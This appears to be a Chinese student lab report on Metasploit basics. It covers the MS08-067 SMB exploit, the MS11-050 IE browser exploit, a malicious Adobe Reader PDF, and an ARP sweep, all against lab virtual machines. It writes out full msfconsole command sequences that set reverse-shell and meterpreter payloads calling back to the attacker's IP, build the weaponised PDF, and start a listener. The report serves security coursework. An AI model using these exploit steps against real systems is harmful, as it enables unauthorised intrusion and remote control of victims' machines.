2018-2019-2 网络对抗技术 20165225 Exp5 MSF基础应用
2018-2019-2 网络对抗技术 20165225 Exp5 MSF基础应用
-
验前准备
-
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
-
一个主动攻击实践,如ms08-067; (1分)
-
一个针对浏览器的攻击,如ms11-050;(1分)
-
一个针对客户端的攻击,如Adobe;(1分)
-
成功应用任何一个辅助模块。(0.5分)
-
预备知识
一、MSF的六种模块
Exploit模块
是利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件。
形象点来说就是攻击模块
Payload模块
是在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。实际上,该模块就是计算机集成的针对不同操作系统实现shellcode攻击的ruby代码。
Encoder模块
针对payload进行编码,可以通过多种编码手段、多次编码方式有效的改变payload代码特征
不改变payload作用,但能对payload进行加工
Aux模块
能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。
主要包括针对各种网络服务的扫描和查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz测试发掘漏洞、实施网络协议欺骗等模块。
Post模块
支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。
这里主要指的是攻击之后可能用到的模块
Nops模块
是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在X86 CPU体系架构平台上的操作码是0x90
因为有些代码返回地址很难确认,所以在实际中有时候会填充一大段空指令,便于快速确定返回地址的位置
二、MSF常用漏洞利用命令
search name:用指定关键字搜索可以利用的漏洞模块
use exploit name:使用漏洞
show options:显示配置选项
set option name option:设置选项
show payloads:回链攻击载荷
show targets 显示目标(os版本)
set TARGET target number:设置目标版本
exploit:开始漏洞攻击
sessions -l:列出会话
sessions -i id:选择会话
sessions -k id:结束会话
Ctrl+z:把会话放到后台
Ctrl+c:结束会话
show auxiliary:显示辅助模块
use auxiliary name :使用辅助模块
set option name option:设置选项
exploit:运行模块
实验内容
-
Windows服务渗透攻击——MS08-067安全漏洞
-
攻击机:kali;靶机:windows 2003
-
在攻击机kali输入msfconsole进入控制台,并进入
use exploit/windows/smb/ms08_067_netapi
```界面,配置好端口号和回连ip:
set payload generic/shell_reverse_tcp //tcp反向回连
set LHOST 10.1.1.240 //攻击机ip
set LPORT 5225 //攻击端口
set RHOST 192.168.6.131 //靶机ip,特定漏洞端口已经固定
set target 0 //自动选择目标系统类型,匹配度较高
exploit //攻击
- ![image](https://wx3.sinaimg.cn/mw690/9083e509gy1g22kw58pmej20oh07bn0c.jpg)
- 建立会话,攻击成功结果如下:
- ![image](https://wx1.sinaimg.cn/mw690/9083e509gy1g22kw6isenj20rn06ajtw.jpg)
- #### 浏览器渗透攻击——MS11-050
- 攻击机:kali;靶机:WindowsXP Professional sp2/Windows7专业版
- 在kali的```mfconsole```下进入```use windows/browser/ms11_050_mshtml_cobjectelement```,并配置好回连ip和端口号,开始监听:
set payload windows/meterpreter/reverse_http //http反向回连
set LHOST 10.1.1.240 //攻击机ip
set LPORT 5225 //攻击端口固定
set URIPATH 5225wgy //统一资源标识符路径设置
exploit
- ![image](https://wx4.sinaimg.cn/mw690/9083e509ly1g22hpnp9f1j218y0o6dks.jpg)
- 在xp的浏览器输入```http://192.168.43.116:8080/5225wgy```,IE出现弹窗,警告遇到问题需关闭程序:
- ![image](https://wx2.sinaimg.cn/mw690/9083e509ly1g22hpgs4xzj21910obq3z.jpg)
- 将其列为可信网站之后,再次进入,则出现以下界面,攻击失败:
- ![image](https://wx2.sinaimg.cn/mw690/9083e509ly1g22hpf3smlj21930jcdfy.jpg)
- #### 针对Adobe Reader软件的渗透攻击——adobe_toolbutton
- 攻击机:kali;靶机:windowsXP Professional sp2 ③Adobe版本:9.3
- 在kali的```msfconsole```进入```use windows/fileformat/adobe_cooltype_sing```,并配置好信息,生成攻击pdf:
set payload windows/meterpreter/reverse_tcp //tcp反向回连
set LHOST 10.1.1.240 //攻击机ip
set LPORT 5225 //攻击端口
set FILENAME 5225wgy.pdf //设置生成pdf文件的名字
exploit //攻击
- ![image](https://wx4.sinaimg.cn/mw690/9083e509gy1g22k4ulvoej20on093dh7.jpg)
- 但是由于kali隐藏了部分文件夹,我们需要手动设置显示隐藏文件夹才能找到这个pdf文件(我一开始是使用mv指令移到桌面的..)
- ![image](https://wx3.sinaimg.cn/mw690/9083e509ly1g235n9mlj5j20600d93ye.jpg)
- 将生成的pdf文件拷贝到靶机上,在kali上输入back退出当前模块,进入监听模块,进入```use exploit/multi/handler```并配置好信息:
set payload windows/meterpreter/reverse_tcp //tcp反向连接
set LHOST 10.1.1.240 //攻击机ip
set LPORT 5225 //攻击端口固定
exploit
- ![image](https://wx2.sinaimg.cn/mw690/9083e509gy1g22k4uddn8j20mt071dg9.jpg)
- 在靶机上打开5225.pdf文件:
- ![image](https://wx4.sinaimg.cn/mw690/9083e509gy1g22k2iqik3j20p404zjs1.jpg)
- 攻击机显示攻击成功:
- ![image](https://wx3.sinaimg.cn/mw690/9083e509gy1g22k2lqo0uj20se03c0to.jpg)
- 此时若关闭pdf文件,则无法攻击:
- ![image](https://wx3.sinaimg.cn/mw690/9083e509gy1g22kza3tt2j20pi041myf.jpg)
- #### 辅助模块的应用:arp_sweep
- 攻击机:kali;靶机:windows 2008
- 使用show auxiliary查看可以运用的辅助模块(唯一):
- ![image](https://wx1.sinaimg.cn/mw690/9083e509gy1g22l8v0jilj20oj0ajtch.jpg)
- 使用```use auxiliary/scanner/discovery/arp_sweep```进入模块,并使用show options查看需填参数:
- ![image](https://wx1.sinaimg.cn/mw690/9083e509ly1g236lvnxxqj20qr08omya.jpg)
- 创建一个msf所需的数据库
- ![image](https://wx3.sinaimg.cn/mw690/9083e509ly1g236ltwu05j20oi023q2v.jpg)
- exploit扫描目标机:
- ![image](https://wx2.sinaimg.cn/mw690/9083e509ly1g236lukl4ij20oj04lgls.jpg)
- 可见目标机正在运行的ip信息
- #### 回答问题
- 用自己的话解释什么是exploit,payload,encode
- exploit: 就是利用发现的漏洞和配置好的信息攻击靶机的指令
- payload:攻击载荷,在它传到靶机中后执行相应的代码
- encode:编码器
- ### 实验中遇到的问题及解决方法
- 问题:Windows服务渗透攻击——MS08-067安全漏洞时,攻击xp proferssional失败
- ![image](https://wx4.sinaimg.cn/mw690/9083e509ly1g235n9yw0cj20ov02wjre.jpg)
- 解决方案:攻击机换成win2003即可(或者更低版本)
- ### 实践总结与体会
- 这次实验并不困难,但是模块太多,第一次接触有点眼花缭乱,我们发现msf的使用还是有套路可循的:进入模块->指定荷载->设置参数->发动攻击
- ### 离实战还缺些什么技术或步骤?
- 还差的很远,尝试过的模块只是九牛一毛,如果要实战还需要很多时间去研究其他模块。